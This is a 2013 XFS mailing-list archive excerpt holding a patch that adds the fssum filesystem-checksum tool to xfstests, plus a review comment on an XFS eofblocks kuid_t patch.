josoe.store (josoe xp1) (RZmta 31.30 OK) with ESMTP id X078c0p6OCmm1F ; Wed, 24 Jul 2013 17:07:39 +0200 (CEST) From: Jan Schmidt To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, sbehrens@giantdisaster.de Subject: [PATCH v2 1/2] xfstests: add fssum tool Date: Wed, 24 Jul 2013 17:07:28 +0200 X-ASG-Orig-Subj: [PATCH v2 1/2] xfstests: add fssum tool Message-Id: <1374678449-21780-2-git-send-email-list.xfs@jan-o-sch.net> X-Mailer: git-send-email 1.8.3.3 In-Reply-To: <1374678449-21780-1-git-send-email-list.xfs@jan-o-sch.net> References: <1374678449-21780-1-git-send-email-list.xfs@jan-o-sch.net> X-Barracuda-Connect: xp-ob.rzone.de[81.169.146.141] X-Barracuda-Start-Time: 1374678463 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137263 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- fssum is a tool to build a recursive checksum for a file system. The home repository of fssum is git://git.kernel.org/pub/scm/linux/kernel/git/arne/far-progs.git It is added as an optional target, because it depends on glibc >= 2.15 for SEEK_HOLE / SEEK_DATA. The test to be added using fssum will just be skipped if fssum wasn't built. Signed-off-by: Jan Schmidt --- .gitignore | 1 + common/config | 2 + src/Makefile | 11 +- src/fssum.c | 819 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 4 files changed, 832 insertions(+), 1 deletions(-) create mode 100644 src/fssum.c diff --git a/.gitignore b/.gitignore index 11594aa..c2fc6e3 100644 --- a/.gitignore +++ b/.gitignore @@ -45,6 +45,7 @@ /src/fill /src/fill2 /src/fs_perms +/src/fssum /src/fstest /src/fsync-tester /src/ftrunc diff --git a/common/config b/common/config index 67c1498..c8bee29 100644 --- a/common/config +++ b/common/config @@ -146,6 +146,8 @@ export SED_PROG="`set_prog_path sed`" export BC_PROG="`set_prog_path bc`" [ "$BC_PROG" = "" ] && _fatal "bc not found" +export FSSUM_PROG="`set_prog_path fssum $here/src/fssum`" + export PS_ALL_FLAGS="-ef" export DF_PROG="`set_prog_path df`" diff --git a/src/Makefile b/src/Makefile index cc679e8..a840669 100644 --- a/src/Makefile +++ b/src/Makefile @@ -20,10 +20,14 @@ LINUX_TARGETS = xfsctl bstat t_mtab getdevicesize preallo_rw_pattern_reader \ stale_handle pwrite_mmap_blocked t_dir_offset2 seek_sanity_test \ seek_copy_test t_readdir_1 t_readdir_2 fsync-tester +OPT_TARGETS = fssum + SUBDIRS = LLDLIBS = $(LIBATTR) $(LIBHANDLE) $(LIBACL) +OPT_LDLIBS = -lssl + ifeq ($(HAVE_XLOG_ASSIGN_LSN), true) LINUX_TARGETS += loggen endif @@ -60,7 +64,7 @@ CFILES = $(TARGETS:=.c) LDIRT = $(TARGETS) -default: depend $(TARGETS) $(SUBDIRS) +default: depend $(TARGETS) $(OPT_TARGETS) $(SUBDIRS) depend: .dep @@ -70,11 +74,16 @@ $(TARGETS): $(LIBTEST) @echo " [CC] $@" $(Q)$(LTLINK) $@.c -o $@ $(CFLAGS) $(LDFLAGS) $(LDLIBS) $(LIBTEST) +$(OPT_TARGETS): $(LIBTEST) + @echo " [CC] $@" + -$(Q)$(LTLINK) $@.c -o $@ $(CFLAGS) $(LDFLAGS) $(LDLIBS) $(OPT_LDLIBS) $(LIBTEST) + LINKTEST = $(LTLINK) $@.c -o $@ $(CFLAGS) $(LDFLAGS) install: default $(addsuffix -install,$(SUBDIRS)) $(INSTALL) -m 755 -d $(PKG_LIB_DIR)/src $(LTINSTALL) -m 755 $(TARGETS) $(PKG_LIB_DIR)/src + -$(LTINSTALL) -m 755 $(OPT_TARGETS) $(PKG_LIB_DIR)/src $(LTINSTALL) -m 755 fill2attr fill2fs fill2fs_check scaleread.sh $(PKG_LIB_DIR)/src $(LTINSTALL) -m 644 dumpfile $(PKG_LIB_DIR)/src diff --git a/src/fssum.c b/src/fssum.c new file mode 100644 index 0000000..ecddb6a --- /dev/null +++ b/src/fssum.c @@ -0,0 +1,819 @@ +/* + * Copyright (C) 2012 STRATO AG. All rights reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License v2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program; if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 021110-1307, USA. + */ +#define _BSD_SOURCE +#define _LARGEFILE64_SOURCE +#ifndef _GNU_SOURCE +#define _GNU_SOURCE +#endif +#include +#include +#include +#include +#include +#include +#include +#include +#include +#ifdef __SOLARIS__ +#include +#endif +#include +#include +#include +#include + +#define CS_SIZE 16 +#define CHUNKS 128 + +#if __BYTE_ORDER == __LITTLE_ENDIAN +#define htonll(x) __bswap_64 (x) +#endif + +/* TODO: add hardlink recognition */ +/* TODO: add xattr/acl */ + +struct excludes { + char *path; + int len; +}; + +typedef struct _sum { + MD5_CTX md5; + unsigned char out[16]; +} sum_t; + +typedef int (*sum_file_data_t)(int fd, sum_t *dst); + +int gen_manifest = 0; +int in_manifest = 0; +char *checksum = NULL; +struct excludes *excludes; +int n_excludes = 0; +int verbose = 0; +FILE *out_fp; +FILE *in_fp; + +enum _flags { + FLAG_UID, + FLAG_GID, + FLAG_MODE, + FLAG_ATIME, + FLAG_MTIME, + FLAG_CTIME, + FLAG_DATA, + FLAG_OPEN_ERROR, + FLAG_STRUCTURE, + NUM_FLAGS +}; + +const char flchar[] = "ugoamcdes"; +char line[65536]; + +int flags[NUM_FLAGS] = {1, 1, 1, 1, 1, 0, 1, 0, 0}; + +char * +getln(char *buf, int size, FILE *fp) +{ + char *p; + int l; + + p = fgets(buf, size, fp); + if (!p) + return NULL; + + l = strlen(p); + while(l > 0 && (p[l - 1] == '\n' || p[l - 1] == '\r')) + p[--l] = 0; + + return p; +} + +void +parse_flag(int c) +{ + int i; + int is_upper = 0; + + if (c >= 'A' && c <= 'Z') { + is_upper = 1; + c += 'a' - 'A'; + } + for (i = 0; flchar[i]; ++i) { + if (flchar[i] == c) { + flags[i] = is_upper ? 0 : 1; + return; + } + } + fprintf(stderr, "unrecognized flag %c\n", c); + exit(-1); +} + +void +parse_flags(char *p) +{ + while (*p) + parse_flag(*p++); +} + +void +usage(void) +{ + fprintf(stderr, "usage: fssum \n"); + fprintf(stderr, " options:\n"); + fprintf(stderr, " -f : write out a full manifest file\n"); + fprintf(stderr, " -w : send output to file\n"); + fprintf(stderr, " -v : verbose mode (debugging only)\n"); + fprintf(stderr, + " -r : read checksum or manifest from file\n"); + fprintf(stderr, " -[ugoamcde] : specify which fields to include in checksum calculation.\n"); + fprintf(stderr, " u : include uid\n"); + fprintf(stderr, " g : include gid\n"); + fprintf(stderr, " o : include mode\n"); + fprintf(stderr, " m : include mtime\n"); + fprintf(stderr, " a : include atime\n"); + fprintf(stderr, " c : include ctime\n"); + fprintf(stderr, " d : include file data\n"); + fprintf(stderr, " e : include open errors (aborts otherwise)\n"); + fprintf(stderr, " s : include block structure (holes)\n"); + fprintf(stderr, " -[UGOAMCDES]: exclude respective field from calculation\n"); + fprintf(stderr, " -n : reset all flags\n"); + fprintf(stderr, " -N : set all flags\n"); + fprintf(stderr, " -x path : exclude path when building checksum (multiple ok)\n"); + fprintf(stderr, " -h : this help\n\n"); + fprintf(stderr, "The default field mask is ugoamCdES. If the checksum/manifest is read from a\n"); + fprintf(stderr, "file, the mask is taken from there and the values given on the command line\n"); + fprintf(stderr, "are ignored.\n"); + exit(-1); +} + +static char buf[65536]; + +void * +alloc(size_t sz) +{ + void *p = malloc(sz); + + if (!p) { + fprintf(stderr, "malloc failed\n"); + exit(-1); + } + + return p; +} + +void +sum_init(sum_t *cs) +{ + MD5_Init(&cs->md5); +} + +void +sum_fini(sum_t *cs) +{ + MD5_Final(cs->out, &cs->md5); +} + +void +sum_add(sum_t *cs, void *buf, int size) +{ + MD5_Update(&cs->md5, buf, size); +} + +void +sum_add_sum(sum_t *dst, sum_t *src) +{ + sum_add(dst, src->out, sizeof(src->out)); +} + +void +sum_add_u64(sum_t *dst, uint64_t val) +{ + uint64_t v = htonll(val); + sum_add(dst, &v, sizeof(v)); +} + +void +sum_add_time(sum_t *dst, time_t t) +{ + sum_add_u64(dst, t); +} + +char * +sum_to_string(sum_t *dst) +{ + int i; + char *s = alloc(CS_SIZE * 2 + 1); + + for (i = 0; i < CS_SIZE; ++i) + sprintf(s + i * 2, "%02x", dst->out[i]); + + return s; +} + +int +sum_file_data_permissive(int fd, sum_t *dst) +{ + int ret; + off_t pos; + off_t old; + int i; + uint64_t zeros = 0; + + pos = lseek(fd, 0, SEEK_CUR); + if (pos == (off_t)-1) + return errno == ENXIO ? 0 : -2; + + while (1) { + old = pos; + pos = lseek(fd, pos, SEEK_DATA); + if (pos == (off_t)-1) { + if (errno == ENXIO) { + ret = 0; + pos = lseek(fd, 0, SEEK_END); + if (pos != (off_t)-1) + zeros += pos - old; + } else { + ret = -2; + } + break; + } + ret = read(fd, buf, sizeof(buf)); + assert(ret); /* eof found by lseek */ + if (ret <= 0) + break; + if (old < pos) /* hole */ + zeros += pos - old; + for (i = 0; i < ret; ++i) { + for (old = i; buf[i] == 0 && i < ret; ++i) + ; + if (old < i) /* code like a hole */ + zeros += i - old; + if (i == ret) + break; + if (zeros) { + if (verbose >= 2) + fprintf(stderr, + "adding %llu zeros to sum\n", + (unsigned long long)zeros); + sum_add_u64(dst, 0); + sum_add_u64(dst, zeros); + zeros = 0; + } + for (old = i; buf[i] != 0 && i < ret; ++i) + ; + if (verbose >= 2) + fprintf(stderr, "adding %u non-zeros to sum\n", + i - (int)old); + sum_add(dst, buf + old, i - old); + } + pos += ret; + } + + if (zeros) { + if (verbose >= 2) + fprintf(stderr, + "adding %llu zeros to sum (finishing)\n", + (unsigned long long)zeros); + sum_add_u64(dst, 0); + sum_add_u64(dst, zeros); + } + + return ret; +} + +int +sum_file_data_strict(int fd, sum_t *dst) +{ + int ret; + off_t pos; + + pos = lseek(fd, 0, SEEK_CUR); + if (pos == (off_t)-1) + return errno == ENXIO ? 0 : -2; + + while (1) { + pos = lseek(fd, pos, SEEK_DATA); + if (pos == (off_t)-1) + return errno == ENXIO ? 0 : -2; + ret = read(fd, buf, sizeof(buf)); + assert(ret); /* eof found by lseek */ + if (ret <= 0) + return ret; + if (verbose >= 2) + fprintf(stderr, + "adding to sum at file offset %llu, %d bytes\n", + (unsigned long long)pos, ret); + sum_add_u64(dst, (uint64_t)pos); + sum_add(dst, buf, ret); + pos += ret; + } +} + +char * +escape(char *in) +{ + char *out = alloc(strlen(in) * 3 + 1); + char *src = in; + char *dst = out; + + for (; *src; ++src) { + if (*src >= 32 && *src < 127 && *src != '\\') { + *dst++ = *src; + } else { + sprintf(dst, "\\%02x", (unsigned char)*src); + dst += 3; + } + } + *dst = 0; + + return out; +} + +void +excess_file(const char *fn) +{ + printf("only in local fs: %s\n", fn); +} + +void +missing_file(const char *fn) +{ + printf("only in remote fs: %s\n", fn); +} + +int +pathcmp(const char *a, const char *b) +{ + int len_a = strlen(a); + int len_b = strlen(b); + + /* + * as the containing directory is sent after the files, it has to + * come out bigger in the comparison. + */ + if (len_a < len_b && a[len_a - 1] == '/' && strncmp(a, b, len_a) == 0) + return 1; + if (len_a > len_b && b[len_b - 1] == '/' && strncmp(a, b, len_b) == 0) + return -1; + + return strcmp(a, b); +} + +void +check_match(char *fn, char *local_m, char *remote_m, + char *local_c, char *remote_c) +{ + int match_m = !strcmp(local_m, remote_m); + int match_c = !strcmp(local_c, remote_c); + + if (match_m && !match_c) { + printf("data mismatch in %s\n", fn); + } else if (!match_m && match_c) { + printf("metadata mismatch in %s\n", fn); + } else if (!match_m && !match_c) { + printf("metadata and data mismatch in %s\n", fn); + } +} + +char *prev_fn; +char *prev_m; +char *prev_c; +void +check_manifest(char *fn, char *m, char *c, int last_call) +{ + char *rem_m; + char *rem_c; + char *l; + int cmp; + + if (prev_fn) { + if (last_call) + cmp = -1; + else + cmp = pathcmp(prev_fn, fn); + if (cmp > 0) { + excess_file(fn); + return; + } else if (cmp < 0) { + missing_file(prev_fn); + } else { + check_match(fn, m, prev_m, c, prev_c); + } + free(prev_fn); + free(prev_m); + free(prev_c); + prev_fn = NULL; + prev_m = NULL; + prev_c = NULL; + if (cmp == 0) + return; + } + while ((l = getln(line, sizeof(line), in_fp))) { + rem_c = strrchr(l, ' '); + if (!rem_c) { + /* final cs */ + checksum = strdup(l); + break; + } + if (rem_c == l) { +malformed: + fprintf(stderr, "malformed input\n"); + exit(-1); + } + *rem_c++ = 0; + rem_m = strrchr(l, ' '); + if (!rem_m) + goto malformed; + *rem_m++ = 0; + + if (last_call) + cmp = -1; + else + cmp = pathcmp(l, fn); + if (cmp == 0) { + check_match(fn, m, rem_m, c, rem_c); + return; + } else if (cmp > 0) { + excess_file(fn); + prev_fn = strdup(l); + prev_m = strdup(rem_m); + prev_c = strdup(rem_c); + return; + } + missing_file(l); + } + if (!last_call) + excess_file(fn); +} + +int +namecmp(const void *aa, const void *bb) +{ + char * const *a = aa; + char * const *b = bb; + + return strcmp(*a, *b); +} + +void +sum(int dirfd, int level, sum_t *dircs, char *path_prefix, char *path_in) +{ + DIR *d; + struct dirent *de; + char **namelist = NULL; + int alloclen = 0; + int entries = 0; + int i; + int ret; + int fd; + int excl; + sum_file_data_t sum_file_data = flags[FLAG_STRUCTURE] ? + sum_file_data_strict : sum_file_data_permissive; + + d = fdopendir(dirfd); + if (!d) { + perror("opendir"); + exit(-1); + } + while((de = readdir(d))) { + if (!strcmp(de->d_name, ".") || !strcmp(de->d_name, "..")) + continue; + if (entries == alloclen) { + alloclen += CHUNKS; + namelist = realloc(namelist, + alloclen * sizeof(*namelist)); + if (!namelist) { + fprintf(stderr, "malloc failed\n"); + exit(-1); + } + } + namelist[entries] = strdup(de->d_name); + if (!namelist[entries]) { + fprintf(stderr, "malloc failed\n"); + exit(-1); + } + ++entries; + } + qsort(namelist, entries, sizeof(*namelist), namecmp); + for (i = 0; i < entries; ++i) { + struct stat64 st; + sum_t cs; + sum_t meta; + char *path; + + sum_init(&cs); + sum_init(&meta); + path = alloc(strlen(path_in) + strlen(namelist[i]) + 3); + sprintf(path, "%s/%s", path_in, namelist[i]); + for (excl = 0; excl < n_excludes; ++excl) { + if (strncmp(excludes[excl].path, path, + excludes[excl].len) == 0) + goto next; + } + + ret = fchdir(dirfd); + if (ret == -1) { + perror("fchdir"); + exit(-1); + } + ret = lstat64(namelist[i], &st); + if (ret) { + fprintf(stderr, "stat failed for %s/%s: %s\n", + path_prefix, path, strerror(errno)); + exit(-1); + } + sum_add_u64(&meta, level); + sum_add(&meta, namelist[i], strlen(namelist[i])); + if (!S_ISDIR(st.st_mode)) + sum_add_u64(&meta, st.st_nlink); + if (flags[FLAG_UID]) + sum_add_u64(&meta, st.st_uid); + if (flags[FLAG_GID]) + sum_add_u64(&meta, st.st_gid); + if (flags[FLAG_MODE]) + sum_add_u64(&meta, st.st_mode); + if (flags[FLAG_ATIME]) + sum_add_time(&meta, st.st_atime); + if (flags[FLAG_MTIME]) + sum_add_time(&meta, st.st_mtime); + if (flags[FLAG_CTIME]) + sum_add_time(&meta, st.st_ctime); + if (S_ISDIR(st.st_mode)) { + fd = openat(dirfd, namelist[i], 0); + if (fd == -1 && flags[FLAG_OPEN_ERROR]) { + sum_add_u64(&meta, errno); + } else if (fd == -1) { + fprintf(stderr, "open failed for %s/%s: %s\n", + path_prefix, path, strerror(errno)); + exit(-1); + } else { + sum(fd, level + 1, &cs, path_prefix, path); + close(fd); + } + } else if (S_ISREG(st.st_mode)) { + sum_add_u64(&meta, st.st_size); + if (flags[FLAG_DATA]) { + if (verbose) + fprintf(stderr, "file %s\n", + namelist[i]); + fd = openat(dirfd, namelist[i], 0); + if (fd == -1 && flags[FLAG_OPEN_ERROR]) { + sum_add_u64(&meta, errno); + } else if (fd == -1) { + fprintf(stderr, + "open failed for %s/%s: %s\n", + path_prefix, path, + strerror(errno)); + exit(-1); + } + if (fd != -1) { + ret = sum_file_data(fd, &cs); + if (ret < 0) { + fprintf(stderr, + "read failed for " + "%s/%s: %s\n", + path_prefix, path, + strerror(errno)); + exit(-1); + } + close(fd); + } + } + } else if (S_ISLNK(st.st_mode)) { + ret = readlink(namelist[i], buf, sizeof(buf)); + if (ret == -1) { + perror("readlink"); + exit(-1); + } + sum_add(&cs, buf, ret); + } else if (S_ISCHR(st.st_mode) || S_ISBLK(st.st_mode)) { + sum_add_u64(&cs, major(st.st_rdev)); + sum_add_u64(&cs, minor(st.st_rdev)); + } + sum_fini(&cs); + sum_fini(&meta); + if (gen_manifest || in_manifest) { + char *fn; + char *m; + char *c; + + if (S_ISDIR(st.st_mode)) + strcat(path, "/"); + fn = escape(path); + m = sum_to_string(&meta); + c = sum_to_string(&cs); + + if (gen_manifest) + fprintf(out_fp, "%s %s %s\n", fn, m, c); + if (in_manifest) + check_manifest(fn, m, c, 0); + free(c); + free(m); + free(fn); + } + sum_add_sum(dircs, &cs); + sum_add_sum(dircs, &meta); +next: + free(path); + } +} + +int +main(int argc, char *argv[]) +{ + extern char *optarg; + extern int optind; + int c; + char *path; + int fd; + sum_t cs; + char flagstring[sizeof(flchar)]; + int i; + int plen; + int elen; + int n_flags = 0; + const char *allopts = "heEfuUgGoOaAmMcCdDsSnNw:r:vx:"; + + out_fp = stdout; + while ((c = getopt(argc, argv, allopts)) != EOF) { + switch(c) { + case 'f': + gen_manifest = 1; + break; + case 'u': + case 'U': + case 'g': + case 'G': + case 'o': + case 'O': + case 'a': + case 'A': + case 'm': + case 'M': + case 'c': + case 'C': + case 'd': + case 'D': + case 'e': + case 'E': + case 's': + case 'S': + ++n_flags; + parse_flag(c); + break; + case 'n': + for (i = 0; i < NUM_FLAGS; ++i) + flags[i] = 0; + break; + case 'N': + for (i = 0; i < NUM_FLAGS; ++i) + flags[i] = 1; + break; + case 'w': + out_fp = fopen(optarg, "w"); + if (!out_fp) { + fprintf(stderr, + "failed to open output file: %s\n", + strerror(errno)); + exit(-1); + } + break; + case 'r': + in_fp = fopen(optarg, "r"); + if (!in_fp) { + fprintf(stderr, + "failed to open input file: %s\n", + strerror(errno)); + exit(-1); + } + break; + case 'x': + ++n_excludes; + excludes = realloc(excludes, + sizeof(*excludes) * n_excludes); + if (!excludes) { + fprintf(stderr, + "failed to alloc exclude space\n"); + exit(-1); + } + excludes[n_excludes - 1].path = optarg; + break; + case 'v': + ++verbose; + break; + case 'h': + case '?': + usage(); + } + } + + if (optind + 1 != argc) { + fprintf(stderr, "missing path\n"); + usage(); + } + + if (in_fp) { + char *l = getln(line, sizeof(line), in_fp); + char *p; + + if (l == NULL) { + fprintf(stderr, "failed to read line from input\n"); + exit(-1); + } + if (strncmp(l, "Flags: ", 7) == 0) { + l += 7; + in_manifest = 1; + parse_flags(l); + } else if ((p = strchr(l, ':'))) { + *p++ = 0; + parse_flags(l); + checksum = strdup(p); + } else { + fprintf(stderr, "invalid input file format\n"); + exit(-1); + } + if (n_flags) + fprintf(stderr, "warning: " + "command line flags ignored in -r mode\n"); + } + strcpy(flagstring, flchar); + for (i = 0; i < NUM_FLAGS; ++i) { + if (flags[i] == 0) + flagstring[i] -= 'a' - 'A'; + } + + path = argv[optind]; + plen = strlen(path); + if (path[plen - 1] == '/') { + --plen; + path[plen] = '\0'; + } + + for (i = 0; i < n_excludes; ++i) { + if (strncmp(path, excludes[i].path, plen) != 0) + fprintf(stderr, + "warning: exclude %s outside of path %s\n", + excludes[i].path, path); + else + excludes[i].path += plen; + elen = strlen(excludes[i].path); + if (excludes[i].path[elen - 1] == '/') + --elen; + excludes[i].path[elen] = '\0'; + excludes[i].len = elen; + } + + fd = open(path, O_RDONLY); + if (fd == -1) { + fprintf(stderr, "failed to open %s: %s\n", path, + strerror(errno)); + exit(-1); + } + + if (gen_manifest) + fprintf(out_fp, "Flags: %s\n", flagstring); + + sum_init(&cs); + sum(fd, 1, &cs, path, ""); + sum_fini(&cs); + + close(fd); + if (in_manifest) + check_manifest("", "", "", 1); + + if (!checksum) { + if (in_manifest) { + fprintf(stderr, "malformed input\n"); + exit(-1); + } + if (!gen_manifest) + fprintf(out_fp, "%s:", flagstring); + + fprintf(out_fp, "%s\n", sum_to_string(&cs)); + } else { + if (strcmp(checksum, sum_to_string(&cs)) == 0) { + printf("OK\n"); + exit(0); + } else { + printf("FAIL\n"); + exit(1); + } + } + + exit(0); +} -- 1.7.2.5 From bfoster@redhat.com Wed Jul 24 10:21:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5F6F77F3F for ; Wed, 24 Jul 2013 10:21:40 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2E91F304070 for ; Wed, 24 Jul 2013 08:21:40 -0700 (PDT) X-ASG-Debug-ID: 1374679298-04bdf0245d376fb0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id Fg1KHQzeA98cOmXz for ; Wed, 24 Jul 2013 08:21:38 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6OFLaTC023112 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 24 Jul 2013 11:21:37 -0400 Received: from laptop.bfoster (vpn-59-178.rdu2.redhat.com [10.10.59.178]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6OEU15T022910 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Wed, 24 Jul 2013 10:30:06 -0400 Message-ID: <51EFE428.3050302@redhat.com> Date: Wed, 24 Jul 2013 10:26:48 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dwight Engen CC: xfs@oss.sgi.com Subject: Re: [PATCH v5 5/7] xfs: create internal eofblocks structure with kuid_t types References: <20130724005256.55220dc2@oracle.com> X-ASG-Orig-Subj: Re: [PATCH v5 5/7] xfs: create internal eofblocks structure with kuid_t types In-Reply-To: <20130724005256.55220dc2@oracle.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1374679298 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 07/24/2013 12:52 AM, Dwight Engen wrote: > Have eofblocks ioctl convert uid_t to kuid_t into internal structure. > Update internal filter matching to compare ids with kuid_t types. > > Signed-off-by: Dwight Engen > --- > fs/xfs/xfs_fs.h | 2 +- > fs/xfs/xfs_icache.c | 12 ++++++------ > fs/xfs/xfs_icache.h | 33 +++++++++++++++++++++++++++++++++ > fs/xfs/xfs_ioctl.c | 10 +++++++--- > 4 files changed, 47 insertions(+), 10 deletions(-) > > diff --git a/fs/xfs/xfs_fs.h b/fs/xfs/xfs_fs.h > index d046955..7eb4a5e 100644 > --- a/fs/xfs/xfs_fs.h > +++ b/fs/xfs/xfs_fs.h > @@ -344,7 +344,7 @@ typedef struct xfs_error_injection { > * Speculative preallocation trimming. > */ > #define XFS_EOFBLOCKS_VERSION 1 > -struct xfs_eofblocks { > +struct xfs_fs_eofblocks { > __u32 eof_version; > __u32 eof_flags; > uid_t eof_uid; > diff --git a/fs/xfs/xfs_icache.c b/fs/xfs/xfs_icache.c > index 3f90e1c..ed35584 100644 > --- a/fs/xfs/xfs_icache.c > +++ b/fs/xfs/xfs_icache.c > @@ -619,7 +619,7 @@ restart: > > /* > * Background scanning to trim post-EOF preallocated space. This is queued > - * based on the 'background_prealloc_discard_period' tunable (5m by default). > + * based on the 'speculative_prealloc_lifetime' tunable (5m by default). > */ > STATIC void > xfs_queue_eofblocks( > @@ -1203,15 +1203,15 @@ xfs_inode_match_id( > struct xfs_inode *ip, > struct xfs_eofblocks *eofb) > { > - if (eofb->eof_flags & XFS_EOF_FLAGS_UID && > - ip->i_d.di_uid != eofb->eof_uid) > + if ((eofb->eof_flags & XFS_EOF_FLAGS_UID) && > + !uid_eq(VFS_I(ip)->i_uid, eofb->eof_uid)) > return 0; > > - if (eofb->eof_flags & XFS_EOF_FLAGS_GID && > - ip->i_d.di_gid != eofb->eof_gid) > + if ((eofb->eof_flags & XFS_EOF_FLAGS_GID) && > + !gid_eq(VFS_I(ip)->i_gid, eofb->eof_gid)) > return 0; > > - if (eofb->eof_flags & XFS_EOF_FLAGS_PRID && > + if ((eofb->eof_flags & XFS_EOF_FLAGS_PRID) && > xfs_get_projid(ip) != eofb->eof_prid) > return 0; > > diff --git a/fs/xfs/xfs_icache.h b/fs/xfs/xfs_icache.h > index a01afbb..3835df2 100644 > --- a/fs/xfs/xfs_icache.h > +++ b/fs/xfs/xfs_icache.h > @@ -21,6 +21,14 @@ > struct xfs_mount; > struct xfs_perag; > > +struct xfs_eofblocks { > + __u32 eof_flags; > + kuid_t eof_uid; > + kgid_t eof_gid; > + prid_t eof_prid; > + __u64 eof_min_file_size; > +}; > + > #define SYNC_WAIT 0x0001 /* wait for i/o to complete */ > #define SYNC_TRYLOCK 0x0002 /* only try to lock inodes */ > > @@ -49,4 +57,29 @@ int xfs_inode_ag_iterator_tag(struct xfs_mount *mp, > int flags, void *args), > int flags, void *args, int tag); > > +static inline int > +xfs_fs_eofblocks_from_user( > + struct xfs_fs_eofblocks *src, > + struct xfs_eofblocks *dst) > +{ > + dst->eof_flags = src->eof_flags; > + dst->eof_prid = src->eof_prid; > + dst->eof_min_file_size = src->eof_min_file_size; > + > + dst->eof_uid = INVALID_UID; > + if (src->eof_flags & XFS_EOF_FLAGS_UID) { > + dst->eof_uid = make_kuid(current_user_ns(), src->eof_uid); > + if (!uid_valid(dst->eof_uid)) > + return EINVAL; > + } > + > + dst->eof_gid = INVALID_GID; > + if (src->eof_flags & XFS_EOF_FLAGS_GID) { > + dst->eof_gid = make_kgid(current_user_ns(), src->eof_gid); > + if (!gid_valid(dst->eof_gid)) > + return EINVAL; > + } > + return 0; > +} > + Originally I thought the error checking in the ioctl() was more clear, but it's not a big deal and the rename to *_from_user() clarifies the functionality. > #endif > diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c > index 8edc780..ecab261 100644 > --- a/fs/xfs/xfs_ioctl.c > +++ b/fs/xfs/xfs_ioctl.c > @@ -1610,7 +1610,8 @@ xfs_file_ioctl( > return -error; > > case XFS_IOC_FREE_EOFBLOCKS: { > - struct xfs_eofblocks eofb; > + struct xfs_fs_eofblocks eofb; > + struct xfs_eofblocks keofb; > > if (copy_from_user(&eofb, arg, sizeof(eofb))) > return -XFS_ERROR(EFAULT); > @@ -1625,8 +1626,11 @@ xfs_file_ioctl( > memchr_inv(eofb.pad64, 0, sizeof(eofb.pad64))) > return -XFS_ERROR(EINVAL); > > - error = xfs_icache_free_eofblocks(mp, &eofb); > - return -error; > + error = xfs_fs_eofblocks_from_user(&eofb, &keofb); > + if (error) > + return -error; > + > + return -xfs_icache_free_eofblocks(mp, &keofb); But if we're going to create a generic *_from_user() helper, why not be consistent and push all of the validity checks into the helper? E.g., the version check, flags validity check and zeroed-padding checks... Brian > } > > default: > From dwight.engen@oracle.com Wed Jul 24 11:22:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DDDEB7F3F for ; Wed, 24 Jul 2013 11:22:04 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id CB9DA8F8039 for ; Wed, 24 Jul 2013 09:22:01 -0700 (PDT) X-ASG-Debug-ID: 1374682917-04cbb02c3a03b60001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id opqF6v3l4o2Ct89f (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 24 Jul 2013 09:21:57 -0700 